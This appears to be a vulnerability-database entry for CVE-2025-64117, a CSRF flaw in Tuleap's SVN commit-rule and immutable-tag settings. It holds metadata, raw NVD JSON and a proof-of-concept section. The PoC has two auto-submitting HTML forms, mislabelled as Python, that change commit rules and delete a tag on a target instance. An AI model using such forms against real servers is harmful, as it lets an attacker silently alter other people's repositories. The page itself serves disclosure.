Security Vulnerability Report
中文
CVE-2025-64117 CVSS 4.6 MEDIUM

CVE-2025-64117

Published: 2025-11-12 20:15:45
Last Modified: 2026-04-15 00:35:42

Description

Tuleap is an Open Source Suite to improve management of software developments and collaboration. Tuleap Community Edition prior to version 16.13.99.1761813675 and Tuleap Enterprise Edition prior to versions 16.13-5 and 16.12-8 don't have cross-site request forgery protection in the management of SVN commit rules and immutable tags. An attacker could use this vulnerability to trick victims into changing the commit rules or immutable tags of a SVN repo. Tuleap Community Edition 16.13.99.1761813675, Tuleap Enterprise Edition 16.13-5, and Tuleap Enterprise Edition 16.12-8 contain a fix for the issue.

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Tuleap Community Edition < 16.13.99.1761813675
Tuleap Enterprise Edition < 16.13-5
Tuleap Enterprise Edition < 16.12-8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-64117 --> <!-- Tuleap SVN Commit Rules Modification --> <html> <body> <h1>CVE-2025-64117 CSRF PoC</h1> <p>Modifying SVN commit rules for target repository</p> <form id="csrfForm" action="https://target-tuleap-instance/plugins/svn/svn_settings_commit_rules.php" method="POST"> <input type="hidden" name="group_id" value="123" /> <input type="hidden" name="repo_id" value="456" /> <input type="hidden" name="commit_rule_action" value="modify" /> <input type="hidden" name="commit_rule_email" value="[email protected]" /> <input type="hidden" name="commit_rule_pattern" value=".*" /> <input type="hidden" name="Submit" value="Update" /> </form> <script> document.getElementById('csrfForm').submit(); </script> </body> </html> <!-- CSRF PoC for Immutable Tags Modification --> <html> <body> <form id="immutableTagForm" action="https://target-tuleap-instance/plugins/svn/svn_settings_immutable_tags.php" method="POST"> <input type="hidden" name="group_id" value="123" /> <input type="hidden" name="repo_id" value="456" /> <input type="hidden" name="action" value="delete" /> <input type="hidden" name="tag_id" value="789" /> </form> <script> document.getElementById('immutableTagForm').submit(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64117", "sourceIdentifier": "[email protected]", "published": "2025-11-12T20:15:45.187", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tuleap is an Open Source Suite to improve management of software developments and collaboration. Tuleap Community Edition prior to version 16.13.99.1761813675 and Tuleap Enterprise Edition prior to versions 16.13-5 and 16.12-8 don't have cross-site request forgery protection in the management of SVN commit rules and immutable tags. An attacker could use this vulnerability to trick victims into changing the commit rules or immutable tags of a SVN repo. Tuleap Community Edition 16.13.99.1761813675, Tuleap Enterprise Edition 16.13-5, and Tuleap Enterprise Edition 16.12-8 contain a fix for the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://github.com/Enalean/tuleap/commit/f49419f63edbbaa31ce8417b737431d944827404", "source": "[email protected]"}, {"url": "https://github.com/Enalean/tuleap/security/advisories/GHSA-p2f7-qw8p-f2p7", "source": "[email protected]"}, {"url": "https://tuleap.net/plugins/git/tuleap/tuleap/stable?a=commit&h=f49419f63edbbaa31ce8417b737431d944827404", "source": "[email protected]"}, {"url": "https://tuleap.net/plugins/tracker/?aid=45251", "source": "[email protected]"}]}}